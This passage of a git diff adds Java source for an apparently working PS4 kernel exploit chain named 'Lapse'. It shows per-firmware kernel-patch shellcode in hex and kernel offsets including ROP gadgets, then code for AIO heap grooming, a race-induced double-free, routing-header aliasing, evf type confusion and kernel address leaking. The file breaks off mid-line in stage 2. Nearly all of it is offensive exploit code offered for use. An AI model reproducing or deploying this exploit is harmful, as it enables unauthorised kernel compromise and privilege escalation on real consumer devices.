0xE6C20); + } + + private static void initializeShellcodes() { + shellcodeData = new Hashtable(); + + shellcodeData.put("9.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c2edc5040066898174686200c681cd0a0000ebc681fd132700ebc68141142700ebc681bd142700ebc68101152700ebc681ad162700ebc6815d1b2700ebc6812d1c2700eb6689b15f716200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000ebc7818d0b08000000000066448989c4ae2300c6817fb62300ebc781401b22004831c0c3c6812a63160037c6812d63160037c781200510010200000048899128051001c7814c051001010000000f20c0480d000001000f22c031c0c3"); + + shellcodeData.put("9.03", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c29b30050066898134486200c681cd0a0000ebc6817d102700ebc681c1102700ebc6813d112700ebc68181112700ebc6812d132700ebc681dd172700ebc681ad182700eb6689b11f516200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000ebc7818d0b0800000000006644898994ab2300c6814fb32300ebc781101822004831c0c3c681da62160037c681dd62160037c78120c50f010200000048899128c50f01c7814cc50f01010000000f20c0480d000001000f22c031c0c3"); + + shellcodeData.put("9.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c2ad580100668981e44a6200c681cd0a0000ebc6810d1c2000ebc681511c2000ebc681cd1c2000ebc681111d2000ebc681bd1e2000ebc6816d232000ebc6813d242000eb6689b1cf536200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68136a51f00ebc7813d6d1900000000006644898924f71900c681dffe1900ebc781601901004831c0c3c6817a2d120037c6817d2d120037c78100950f010200000048899108950f01c7812c950f01010000000f20c0480d000001000f22c031c0c3"); + + shellcodeData.put("10.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c2f166000066898164e86100c681cd0a0000ebc6816d2c4700ebc681b12c4700ebc6812d2d4700ebc681712d4700ebc6811d2f4700ebc681cd334700ebc6819d344700eb6689b14ff16100c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68156772600ebc7817d2039000000000066448989a4fa1800c6815f021900ebc78140ea1b004831c0c3c6819ad50e0037c6819dd50e0037c781a02f100102000000488991a82f1001c781cc2f1001010000000f20c0480d000001000f22c031c0c3"); + + shellcodeData.put("10.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb0000006689811330210041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c22d0c05006689b1233021006689b94330210066448981b47d6200c681cd0a0000ebc681bd720d00ebc68101730d00ebc6817d730d00ebc681c1730d00ebc6816d750d00ebc6811d7a0d00ebc681ed7a0d00eb664489899f866200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681c6c10800ebc781eeb2470000000000668981d42a2100c7818830210090e93c01c78160ab2d004831c0c3c6812ac4190037c6812dc4190037c781d02b100102000000488991d82b1001c781fc2b1001010000000f20c0480d000001000f22c031c0c3"); + + shellcodeData.put("11.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981334c1e0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2611807006689b1434c1e006689b9634c1e0066448981643f6200c681cd0a0000ebc6813ddd2d00ebc68181dd2d00ebc681fddd2d00ebc68141de2d00ebc681eddf2d00ebc6819de42d00ebc6816de52d00eb664489894f486200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126154300ebc781eec8350000000000668981f4461e00c781a84c1e0090e93c01c781e08c08004831c0c3c6816a62150037c6816d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3"); + + shellcodeData.put("11.02", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981534c1e0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2611807006689b1634c1e006689b9834c1e0066448981043f6200c681cd0a0000ebc6815ddd2d00ebc681a1dd2d00ebc6811dde2d00ebc68161de2d00ebc6810de02d00ebc681bde42d00ebc6818de52d00eb66448989ef476200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681b6144300ebc7810ec935000000000066898114471e00c781c84c1e0090e93c01c781e08c08004831c0c3c6818a62150037c6818d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3"); + + shellcodeData.put("11.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2150307006689b1b3761b006689b9d3761b0066448981b4786200c681cd0a0000ebc681edd22b00ebc68131d32b00ebc681add32b00ebc681f1d32b00ebc6819dd52b00ebc6814dda2b00ebc6811ddb2b00eb664489899f816200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681a6123900ebc781aebe2f000000000066898164711b00c78118771b0090e93c01c78120d63b004831c0c3c6813aa61f0037c6813da61f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3"); + + shellcodeData.put("12.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900ebc781eec02f000000000066898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3"); + + shellcodeData.put("12.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981e3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1f3761b006689b913771b0066448981347b6200c681cd0a0000ebc6810dd42b00ebc68151d42b00ebc681cdd42b00ebc68111d52b00ebc681bdd62b00ebc6816ddb2b00ebc6813ddc2b00eb664489891f846200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126153900ebc7812ec12f0000000000668981a4711b00c78158771b0090e93c01c781a0d83b004831c0c3c6815aa71f0037c6815da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3"); + + shellcodeData.put("9.04", shellcodeData.get("9.03")); + shellcodeData.put("9.51", shellcodeData.get("9.50")); + shellcodeData.put("9.60", shellcodeData.get("9.50")); + shellcodeData.put("10.01", shellcodeData.get("10.00")); + shellcodeData.put("10.70", shellcodeData.get("10.50")); + shellcodeData.put("10.71", shellcodeData.get("10.50")); + shellcodeData.put("11.52", shellcodeData.get("11.50")); + shellcodeData.put("12.02", shellcodeData.get("12.00")); + shellcodeData.put("12.52", shellcodeData.get("12.50")); + } + + private static void addFirmwareOffsets(String fw, long evf, long prison0, long rootvnode, + long targetId, long sysent661, long jmpRsi, long klLock) { + Hashtable offsets = new Hashtable(); + offsets.put("EVF_OFFSET", new Long(evf)); + offsets.put("PRISON0", new Long(prison0)); + offsets.put("ROOTVNODE", new Long(rootvnode)); + offsets.put("TARGET_ID_OFFSET", new Long(targetId)); + offsets.put("SYSENT_661_OFFSET", new Long(sysent661)); + offsets.put("JMP_RSI_GADGET", new Long(jmpRsi)); + offsets.put("KL_LOCK", new Long(klLock)); + ps4KernelOffsets.put(fw, offsets); + } + + public static String getFirmwareVersion() { + if (currentFirmware == null) { + currentFirmware = Helper.getCurrentFirmwareVersion(); + } + return currentFirmware; + } + + public static boolean hasPS4Offsets() { + return ps4KernelOffsets.containsKey(getFirmwareVersion()); + } + + public static long getPS4Offset(String offsetName) { + String fw = getFirmwareVersion(); + Hashtable offsets = (Hashtable)ps4KernelOffsets.get(fw); + if (offsets == null) { + throw new RuntimeException("No offsets available for firmware " + fw); + } + + Long offset = (Long)offsets.get(offsetName); + if (offset == null) { + throw new RuntimeException("Offset " + offsetName + " not found for firmware " + fw); + } + + return offset.longValue(); + } + + public static boolean shouldApplyKernelPatches() { + return hasPS4Offsets() && hasShellcodeForCurrentFirmware(); + } + + public static byte[] getKernelPatchesShellcode() { + String firmware = getFirmwareVersion(); + String shellcode = (String)shellcodeData.get(firmware); + if (shellcode == null || shellcode.length() == 0) { + return new byte[0]; + } + return hexToBinary(shellcode); + } + + public static boolean hasShellcodeForCurrentFirmware() { + String firmware = getFirmwareVersion(); + return shellcodeData.containsKey(firmware); + } + + private static byte[] hexToBinary(String hex) { + byte[] result = new byte[hex.length() / 2]; + for (int i = 0; i < result.length; i++) { + int index = i * 2; + int value = Integer.parseInt(hex.substring(index, index + 2), 16); + result[i] = (byte)value; + } + return result; + } + + // Initialize method to set firmware from Helper + public static void initializeFromHelper() { + String helperFirmware = Helper.getCurrentFirmwareVersion(); + if (helperFirmware != null) { + currentFirmware = helperFirmware; + } + } +} \ No newline at end of file diff --git a/src/org/bdj/external/Lapse.java b/src/org/bdj/external/Lapse.java new file mode 100644 index 0000000..f4f6353 --- /dev/null +++ b/src/org/bdj/external/Lapse.java @@ -0,0 +1,1294 @@ +package org.bdj.external; + +import java.util.*; +import java.io.*; + +import org.bdj.api.*; + +public class Lapse { + + public static final int MAIN_CORE = 4; + public static final int MAIN_RTPRIO = 0x100; + public static final int NUM_WORKERS = 2; + public static final int NUM_GROOMS = 0x200; + public static final int NUM_SDS = 64; + public static final int NUM_SDS_ALT = 48; + public static final int NUM_RACES = 100; + public static final int NUM_ALIAS = 100; + public static final int NUM_HANDLES = 0x100; + public static final int LEAK_LEN = 16; + public static final int NUM_LEAKS = 16; + public static final int NUM_CLOBBERS = 8; + + private static int blockFd = -1; + private static int unblockFd = -1; + private static int blockId = -1; + private static int[] groomIds; + private static int[] sockets; + private static int[] socketsAlt; + private static int previousCore = -1; + private static Kernel.KernelRW kernelRW; + + // Kernel leak results from Stage 2 + private static long reqs1Addr; + private static long kbufAddr; + private static long kernelAddr; + private static int targetId; + private static int evf; + private static long fakeReqs3Addr; + private static int fakeReqs3Sd; + private static long aioInfoAddr; + + private static PrintStream console; + private static API api; + + static { + try { + api = API.getInstance(); + } catch (Exception e) { + throw new ExceptionInInitializerError(e); + } + } + + // Worker thread for AIO deletion race + public static class DeleteWorkerThread extends Thread { + private long requestAddr; + private Buffer errors; + private int pipeFd; + private volatile boolean ready = false; + private volatile boolean completed = false; + private volatile int workerError = -1; + + public DeleteWorkerThread(long requestAddr, Buffer errors, int pipeFd) { + this.requestAddr = requestAddr; + this.errors = errors; + this.pipeFd = pipeFd; + } + + public void run() { + try { + ready = true; + + // Block on pipe read + Buffer pipeBuf = new Buffer(8); + Helper.syscall(Helper.SYS_READ, (long)pipeFd, pipeBuf.address(), 1L); + + // Execute AIO deletion + Helper.aioMultiDelete(requestAddr, 1, errors.address() + 4); + + workerError = errors.getInt(4); + completed = true; + + } catch (Exception e) { + workerError = -1; + completed = true; + } + } + + public boolean isReady() { return ready; } + public boolean isCompleted() { return completed; } + public int getWorkerError() { return workerError; } + } + + // Initialize all classes in proper order + private static void initializeExploit() { + try { + Kernel.initializeKernelOffsets(); + } catch (Exception e) { + throw new RuntimeException("Initialization failed", e); + } + } + + public static boolean performSetup() { + + try { + // CPU pinning and priority + previousCore = Helper.getCurrentCore(); + + if (!Helper.pinToCore(MAIN_CORE)) { + return false; + } + + if (!Helper.setRealtimePriority(MAIN_RTPRIO)) { + return false; + } + + + // Create socketpair for blocking + if (!createSocketPair()) { + return false; + } + + // Block AIO workers + Buffer blockReqs = new Buffer(0x28 * NUM_WORKERS); + blockReqs.fill((byte)0); + + for (int i = 0; i < NUM_WORKERS; i++) { + int offset = i * 0x28; + blockReqs.putInt(offset + 0x08, 1); // nbyte + blockReqs.putInt(offset + 0x20, blockFd); // fd = blockFd + } + + Buffer blockIdBuf = new Buffer(4); + long result = Helper.aioSubmitCmd(Helper.AIO_CMD_READ, blockReqs.address(), NUM_WORKERS, + Helper.AIO_PRIORITY_HIGH, blockIdBuf.address()); + if (result != 0) { + return false; + } + + blockId = blockIdBuf.getInt(0); + + // Heap grooming + int numReqs = 3; + Buffer groomReqs = Helper.createAioRequests(numReqs); + + groomIds = new int[NUM_GROOMS]; + int validCount = 0; + + for (int i = 0; i < NUM_GROOMS; i++) { + Buffer singleId = new Buffer(4); + result = Helper.aioSubmitCmd(Helper.AIO_CMD_READ, groomReqs.address(), numReqs, + Helper.AIO_PRIORITY_HIGH, singleId.address()); + if (result == 0) { + groomIds[i] = singleId.getInt(0); + validCount++; + } else { + groomIds[i] = 0; + } + } + + + // Cancel grooming AIOs + cancelGroomAios(); + + return true; + + } catch (Exception e) { + return false; + } + } + + private static boolean createSocketPair() { + try { + Buffer sockpair = new Buffer(8); + long result = Helper.syscall(Helper.SYS_SOCKETPAIR, (long)Helper.AF_UNIX, + (long)Helper.SOCK_STREAM, 0L, sockpair.address()); + if (result != 0) { + return false; + } + + blockFd = sockpair.getInt(0); + unblockFd = sockpair.getInt(4); + + return true; + } catch (Exception e) { + return false; + } + } + + private static void cancelGroomAios() { + try { + Buffer errors = new Buffer(4 * Helper.MAX_AIO_IDS); + + for (int i = 0; i < NUM_GROOMS; i += Helper.MAX_AIO_IDS) { + int batchSize = Math.min(Helper.MAX_AIO_IDS, NUM_GROOMS - i); + Buffer batchIds = new Buffer(4 * batchSize); + + for (int j = 0; j < batchSize; j++) { + batchIds.putInt(j * 4, groomIds[i + j]); + } + + Helper.aioMultiCancel(batchIds.address(), batchSize, errors.address()); + } + } catch (Exception e) { + } + } + + // STAGE 1: Double-free reqs2 + public static int[] executeStage1() { + + try { + sockets = new int[NUM_SDS]; + for (int i = 0; i < NUM_SDS; i++) { + sockets[i] = Helper.createUdpSocket(); + } + + Buffer serverAddr = new Buffer(16); + serverAddr.fill((byte)0); + serverAddr.putByte(1, (byte)Helper.AF_INET); + serverAddr.putShort(2, Helper.htons(5050)); + serverAddr.putInt(4, Helper.aton("127.0.0.1")); + + int listenSd = Helper.createTcpSocket(); + if (listenSd < 0) { + return null; + } + + // Set SO_REUSEADDR + Buffer enable = new Buffer(4); + enable.putInt(0, 1); + Helper.setSockOpt(listenSd, Helper.SOL_SOCKET, Helper.SO_REUSEADDR, enable, 4); + + // Bind and listen + long bindResult = Helper.syscall(Helper.SYS_BIND, (long)listenSd, serverAddr.address(), 16L); + if (bindResult != 0) { + Helper.syscall(Helper.SYS_CLOSE, (long)listenSd); + return null; + } + + long listenResult = Helper.syscall(Helper.SYS_LISTEN, (long)listenSd, 1L); + if (listenResult != 0) { + Helper.syscall(Helper.SYS_CLOSE, (long)listenSd); + return null; + } + + // Main race loop + int numReqs = 3; + int whichReq = numReqs - 1; + + for (int attempt = 1; attempt <= NUM_RACES; attempt++) { + + int clientSd = Helper.createTcpSocket(); + if (clientSd < 0) { + continue; + } + + long connectResult = Helper.syscall(Helper.SYS_CONNECT, (long)clientSd, + serverAddr.address(), 16L); + if (connectResult != 0) { + Helper.syscall(Helper.SYS_CLOSE, (long)clientSd); + continue; + } + + long connSd = Helper.syscall(Helper.SYS_ACCEPT, (long)listenSd, 0L, 0L); + if (connSd < 0) { + Helper.syscall(Helper.SYS_CLOSE, (long)clientSd); + continue; + } + + // Set SO_LINGER to force soclose() delay + Buffer lingerBuf = new Buffer(8); + lingerBuf.fill((byte)0); + lingerBuf.putInt(0, 1); // l_onoff - linger active + lingerBuf.putInt(4, 1); // l_linger - 1 second + + Helper.setSockOpt(clientSd, Helper.SOL_SOCKET, Helper.SO_LINGER, lingerBuf, 8); + + // Create AIO requests + Buffer reqs = Helper.createAioRequests(numReqs); + Buffer aioIds = new Buffer(4 * numReqs); + + // Set client socket fd in the target request + reqs.putInt(whichReq * 0x28 + 0x20, clientSd); + + // Submit AIO requests + long submitResult = Helper.aioSubmitCmd(Helper.AIO_CMD_MULTI_READ, reqs.address(), + numReqs, Helper.AIO_PRIORITY_HIGH, aioIds.address()); + if (submitResult != 0) { + Helper.syscall(Helper.SYS_CLOSE, (long)clientSd); + Helper.syscall(Helper.SYS_CLOSE, connSd); + continue; + } + + Buffer errors = new Buffer(4 * numReqs); + Helper.aioMultiCancel(aioIds.address(), numReqs, errors.address()); + Helper.aioMultiPoll(aioIds.address(), numReqs, errors.address()); + + // Close client socket to trigger fdrop() reference counting + Helper.syscall(Helper.SYS_CLOSE, (long)clientSd); + + // Execute the race + long requestAddr = aioIds.address() + (whichReq * 4); + int[] aliasedPair = raceOne(requestAddr, (int)connSd, sockets); + + // Cleanup remaining AIOs + Helper.aioMultiDelete(aioIds.address(), numReqs, errors.address()); + Helper.syscall(Helper.SYS_CLOSE, connSd); + + if (aliasedPair != null) { + Helper.syscall(Helper.SYS_CLOSE, (long)listenSd); + return aliasedPair; + } + + if (attempt % 10 == 0) { + try { + Thread.sleep(10); + } catch (InterruptedException e) { + break; + } + } + } + + Helper.syscall(Helper.SYS_CLOSE, (long)listenSd); + return null; + + } catch (Exception e) { + return null; + } + } + + private static int[] raceOne(long requestAddr, int tcpSd, int[] testSockets) { + try { + Buffer sceErrs = new Buffer(8); + sceErrs.putInt(0, -1); + sceErrs.putInt(4, -1); + + // Create pipe for synchronization + Buffer pipe = new Buffer(8); + long pipeResult = Helper.syscall(Helper.SYS_SOCKETPAIR, (long)Helper.AF_UNIX, + (long)Helper.SOCK_STREAM, 0L, pipe.address()); + if (pipeResult != 0) { + return null; + } + + int pipeReadFd = pipe.getInt(0); + int pipeWriteFd = pipe.getInt(4); + + // Start worker thread + DeleteWorkerThread worker = new DeleteWorkerThread(requestAddr, sceErrs, pipeReadFd); + worker.start(); + + // Wait for worker to be ready + int waitCount = 0; + while (!worker.isReady() && waitCount < 1000) { + Thread.yield(); + waitCount++; + } + + if (!worker.isReady()) { + Helper.syscall(Helper.SYS_CLOSE, (long)pipeReadFd); + Helper.syscall(Helper.SYS_CLOSE, (long)pipeWriteFd); + return null; + } + + // Signal worker to proceed + Buffer pipeBuf = new Buffer(8); + Helper.syscall(Helper.SYS_WRITE, (long)pipeWriteFd, pipeBuf.address(), 1L); + + // Yield once to let worker start, then poll immediately + Thread.yield(); + + // Poll AIO state while worker should be blocked in soclose() + Buffer pollErr = new Buffer(4); + Helper.aioMultiPoll(requestAddr, 1, pollErr.address()); + int pollRes = pollErr.getInt(0); + + // Check TCP state + Buffer infoBuffer = new Buffer(0x100); + int infoSize = Helper.getSockOpt(tcpSd, Helper.IPPROTO_TCP, Helper.TCP_INFO, infoBuffer, 0x100); + int tcpState = (infoSize > 0) ? (infoBuffer.getByte(0) & 0xFF) : -1; + + boolean wonRace = false; + + if (pollRes != Helper.SCE_KERNEL_ERROR_ESRCH && tcpState != Helper.TCPS_ESTABLISHED) { + // Execute main delete + Helper.aioMultiDelete(requestAddr, 1, sceErrs.address()); + wonRace = true; + } + + // Wait for worker to complete + try { + worker.join(2000); + } catch (InterruptedException e) { + // Continue + } + + // Check race results + if (wonRace && worker.isCompleted()) { + int mainError = sceErrs.getInt(0); + int workerError = worker.getWorkerError(); + + + // Both errors must be equal and 0 for successful double-free + if (mainError == workerError && mainError == 0) { + int[] aliasedPair = makeAliasedRthdrs(testSockets); + + if (aliasedPair != null) { + + Helper.syscall(Helper.SYS_CLOSE, (long)pipeReadFd); + Helper.syscall(Helper.SYS_CLOSE, (long)pipeWriteFd); + + return aliasedPair; + + } else { + } + } else { + } + } else if (wonRace && !worker.isCompleted()) { + } + + Helper.syscall(Helper.SYS_CLOSE, (long)pipeReadFd); + Helper.syscall(Helper.SYS_CLOSE, (long)pipeWriteFd); + + return null; + + } catch (Exception e) { + return null; + } + } + + public static int[] makeAliasedRthdrs(int[] sds) { + int markerOffset = 4; + int size = 0x80; + Buffer buf = new Buffer(size); + int rsize = Helper.buildRoutingHeader(buf, size); + + for (int loop = 1; loop <= NUM_ALIAS; loop++) { + + for (int i = 1; i <= Math.min(sds.length, NUM_SDS); i++) { + if (sds[i-1] >= 0) { + buf.putInt(markerOffset, i); + Helper.setRthdr(sds[i-1], buf, rsize); + } + } + + for (int i = 1; i <= Math.min(sds.length, NUM_SDS); i++) { + if (sds[i-1] >= 0) { + Helper.getRthdr(sds[i-1], buf, size); + int marker = buf.getInt(markerOffset); + + if (marker != i && marker > 0 && marker <= NUM_SDS) { + int aliasedIdx = marker - 1; + if (aliasedIdx >= 0 && aliasedIdx < sds.length && sds[aliasedIdx] >= 0) { + int[] sdPair = new int[2]; + sdPair[0] = sds[i-1]; + sdPair[1] = sds[aliasedIdx]; + + Helper.removeSocketFromArray(sds, Math.max(i-1, aliasedIdx)); + Helper.removeSocketFromArray(sds, Math.min(i-1, aliasedIdx)); + Helper.freeRthdrs(sds); + + Helper.addSocketToArray(sds, Helper.createUdpSocket()); + Helper.addSocketToArray(sds, Helper.createUdpSocket()); + + return sdPair; + } + } + } + } + } + + return null; + + } + + public static int[] makeAliasedPktopts(int[] sds) { + Buffer tclass = new Buffer(4); + + int validSockets = 0; + for (int i = 0; i < sds.length; i++) { + if (sds[i] >= 0) { + validSockets++; + } + } + + if (validSockets < 2) { + return null; + } + + for (int loop = 1; loop <= NUM_ALIAS; loop++) { + int markersSet = 0; + for (int i = 1; i <= sds.length; i++) { + if (sds[i-1] >= 0) { + tclass.putInt(0, i); + Helper.setSockOpt(sds[i-1], Helper.IPPROTO_IPV6, Helper.IPV6_TCLASS, tclass, 4); + markersSet++; + } + } + + if (markersSet == 0) { + break; + } + + for (int i = 1; i <= sds.length; i++) { + if (sds[i-1] >= 0) { + Helper.getSockOpt(sds[i-1], Helper.IPPROTO_IPV6, Helper.IPV6_TCLASS, tclass, 4); + int marker = tclass.getInt(0); + + if (marker != i && marker > 0 && marker <= sds.length) { + int aliasedIdx = marker - 1; + if (aliasedIdx >= 0 && aliasedIdx < sds.length && sds[aliasedIdx] >= 0) { + + int[] sdPair = new int[2]; + sdPair[0] = sds[i-1]; + sdPair[1] = sds[aliasedIdx]; + + Helper.removeSocketFromArray(sds, Math.max(i-1, aliasedIdx)); + Helper.removeSocketFromArray(sds, Math.min(i-1, aliasedIdx)); + + for (int j = 0; j < 2; j++) { + int sockFd = Helper.createUdpSocket(); + Helper.setSockOpt(sockFd, Helper.IPPROTO_IPV6, Helper.IPV6_TCLASS, tclass, 4); + Helper.addSocketToArray(sds, sockFd); + } + return sdPair; + } + } + } + } + + for (int i = 0; i < sds.length; i++) { + if (sds[i] >= 0) { + Helper.setSockOpt(sds[i], Helper.IPPROTO_IPV6, Helper.IPV6_2292PKTOPTIONS, new Buffer(1), 0); + } + } + } + + return null; + } + + public static boolean verifyReqs2(Buffer buf, int offset, int cmd) { + try { + // reqs2.ar2_cmd + int actualCmd = buf.getInt(offset); + if (actualCmd != cmd) { + return false; + } + + // heap_prefixes array to track common heap address prefixes + int[] heapPrefixes = new int[8]; + int prefixCount = 0; + + // Check if offsets 0x10 to 0x20 look like kernel heap addresses + for (int i = 0x10; i <= 0x20; i += 8) { + short highWord = buf.getShort(offset + i + 6); + if (highWord != (short)0xffff) { + return false; + } + if (prefixCount < heapPrefixes.length) { + heapPrefixes[prefixCount++] = buf.getShort(offset + i + 4) & 0xffff; + } + } + + // Check reqs2.ar2_result.state + int state1 = buf.getInt(offset + 0x38); + int state2 = buf.getInt(offset + 0x38 + 4); + if (!(state1 > 0 && state1 <= 4) || state2 != 0) { + return false; + } + + // reqs2.ar2_file must be NULL + long filePtr = buf.getLong(offset + 0x40); + if (filePtr != 0) { + return false; + } + + // Check if offsets 0x48 to 0x50 look like kernel addresses + for (int i = 0x48; i <= 0x50; i += 8) { + short highWord = buf.getShort(offset + i + 6); + if (highWord == (short)0xffff) { + short midWord = buf.getShort(offset + i + 4); + if (midWord != (short)0xffff && prefixCount < heapPrefixes.length) { + heapPrefixes[prefixCount++] = midWord & 0xffff; + } + } else if ((i == 0x48) || (buf.getLong(offset + i) != 0)) { + return false; + } + } + + if (prefixCount < 2) { + return false; + } + + // Check that heap prefixes are consistent + int firstPrefix = heapPrefixes[0]; + for (int i = 1; i < prefixCount; i++) { + if (heapPrefixes[i] != firstPrefix) { + return false; + } + } + + return true; + } catch (Exception e) { + return false; + } + } + + // STAGE 2: Leak kernel addresses + public static boolean executeStage2(int[] aliasedPair) { + + try { + int sd = aliasedPair[0]; + int bufLen = 0x80 * LEAK_LEN; + Buffer buf = new Buffer(bufLen); + + // Type confuse a struct evf with a struct ip6_rthdr + + Buffer name = new Buffer(1); + + // Free one of rthdr + Helper.syscall(Helper.SYS_CLOSE, (long)aliasedPair[1]); + + evf = -1; + + for (int i = 1; i <= NUM_ALIAS; i++) { + int[] evfs = new int[NUM_HANDLES]; + + // Reclaim freed rthdr with evf object + for (int j = 0; j < NUM_HANDLES; j++) { + int evfFlags = 0xf00 | ((j + 1) << 16); + evfs[j] = Helper.createEvf(name.address(), evfFlags); + } + + Helper.getRthdr(sd, buf, 0x80); + + int flag = buf.getInt(0); + + if ((flag & 0xf00) == 0xf00) { + int idx = (flag >>> 16); + int expectedFlag = flag | 1; + + if (idx >= 1 && idx <= evfs.length) { + evf = evfs[idx - 1]; + + Helper.setEvfFlags(evf, expectedFlag); + Helper.getRthdr(sd, buf, 0x80); + + int val = buf.getInt(0); + if (val == expectedFlag) { + // Success - keep this EVF + } else { + evf = -1; // Reset on failure + } + } else { + } + } + + // Free all EVFs except the found one + for (int j = 0; j < NUM_HANDLES; j++) { + if (evfs[j] != evf && evfs[j] >= 0) { + try { + Helper.freeEvf(evfs[j]); + } catch (Exception e) { + // Continue if EVF free fails + } + } + } + + if (evf != -1) { + break; + } + } + + if (evf == -1) { + throw new RuntimeException("Failed to confuse evf and rthdr"); + } + + // Enlarge ip6_rthdr by writing to its len field by setting the evf's flag + Helper.setEvfFlags(evf, 0xff << 8); + + // evf.cv.cv_description = "evf cv" - string is located at the kernel's mapped ELF file + kernelAddr = buf.getLong(0x28); + + // evf.waiters.tqh_last == &evf.waiters.tqh_first + kbufAddr = buf.getLong(0x40) - 0x38; + + // Prep to fake reqs3 (aio_batch) + int wbufsz = 0x80; + Buffer wbuf = new Buffer(wbufsz); + int rsize = Helper.buildRoutingHeader(wbuf, wbufsz); + int markerVal = 0xdeadbeef; + int reqs3Offset = 0x10; + + wbuf.putInt(4, markerVal); + wbuf.putInt(reqs3Offset + 0, 1); // .ar3_num_reqs + wbuf.putInt(reqs3Offset + 4, 0); // .ar3_reqs_left + wbuf.putInt(reqs3Offset + 8, Helper.AIO_STATE_COMPLETE); // .ar3_state + wbuf.putByte(reqs3Offset + 0xc, (byte)0); // .ar3_done + wbuf.putInt(reqs3Offset + 0x28, 0x67b0000); // .ar3_lock.lock_object.lo_flags + wbuf.putLong(reqs3Offset + 0x38, 1L); // .ar3_lock.lk_lock = LK_UNLOCKED + + // Prep to leak reqs2 (aio_entry) + int numElems = 6; + long ucred = kbufAddr + 4; + Buffer leakReqs = Helper.createAioRequests(numElems); + leakReqs.putLong(0x10, ucred); // .ai_cred + + int numLoop = NUM_SDS; + int leakIdsLen = numLoop * numElems; + Buffer leakIds = new Buffer(4 * leakIdsLen); + int step = 4 * numElems; + int cmd = Helper.AIO_CMD_FLAG_MULTI | Helper.AIO_CMD_WRITE; + + long reqs2Off = -1; + long fakeReqs3Off = -1; + fakeReqs3Sd = -1; + + for (int i = 1; i <= NUM_LEAKS; i++) { + + // Spray reqs2 and rthdr with fake reqs3 + for (int j = 1; j <= numLoop; j++) { + wbuf.putInt(8, j); + Helper.aioSubmitCmd(cmd, leakReqs.address(), numElems, Helper.AIO_PRIORITY_HIGH, leakIds.address() + ((j-1) * step)); + Helper.setRthdr(sockets[j-1], wbuf, rsize); + } + + // Out of bound read on adjacent malloc 0x80 memory + Helper.getRthdr(sd, buf, bufLen); + + int sdIdx = -1; + reqs2Off = -1; + fakeReqs3Off = -1; + + // Search starting from 0x80, not 0 + for (int off = 0x80; off < bufLen; off += 0x80) { + // Check for reqs2 with correct command + if (reqs2Off == -1 && verifyReqs2(buf, off, Helper.AIO_CMD_WRITE)) { + reqs2Off = off; + } + + // Check for fake reqs3 + if (fakeReqs3Off == -1) { + int marker = buf.getInt(off + 4); + if (marker == markerVal) { + fakeReqs3Off = off; + sdIdx = buf.getInt(off + 8); + } + } + } + + if (reqs2Off != -1 && fakeReqs3Off != -1) { + if (sdIdx > 0 && sdIdx <= sockets.length) { + fakeReqs3Sd = sockets[sdIdx - 1]; + + Helper.removeSocketFromArray(sockets, sdIdx - 1); + Helper.addSocketToArray(sockets, Helper.createUdpSocket()); + + Helper.freeRthdrs(sockets); + break; + } + } + + // Free AIOs before next attempt + Helper.freeAios(leakIds.address(), leakIdsLen, false); + } + + if (reqs2Off == -1 || fakeReqs3Off == -1) { + throw new RuntimeException("Could not leak reqs2 and fake reqs3"); + } + + + Helper.getRthdr(sd, buf, bufLen); + + + for (int i = 0; i < 0x80; i += 16) { + StringBuffer sb = new StringBuffer(); + sb.append(Helper.toHexString(i, 8)); + sb.append(": "); + for (int j = 0; j < 16 && (i + j) < 0x80; j++) { + int byteVal = buf.getByte((int)reqs2Off + i + j) & 0xff; + sb.append(Helper.toHexString(byteVal, 